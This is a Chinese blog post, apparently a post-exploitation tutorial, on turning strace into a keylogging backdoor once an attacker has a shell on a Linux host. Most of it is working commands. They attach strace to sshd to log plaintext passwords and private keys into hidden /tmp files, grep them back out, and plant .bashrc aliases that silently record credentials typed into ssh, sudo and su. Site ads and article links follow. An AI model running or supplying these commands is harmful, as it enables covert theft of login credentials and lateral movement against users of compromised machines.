strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
使用场景
通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。
安装 apt-get install strace
记录sshd进程明文密码
执行如下命令
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)、
当用户通过密码登录时,使用如下命令查看记录的密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当用户通过私钥登录时,使用如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
记录ssh的登录凭证
我们还可以记录本机执行ssh、su等命令,这里以ssh为例
-
修改alias
# 添加命令
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 立即生效
source ~/.bashrc
-
执行
ssh 10.xx.xx.148 -l mysql
会在 /tmp/ 目录下多个log
读取log中记录的密码
grep -A 9 'password' .ssh-202月021613809979.log
记录sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统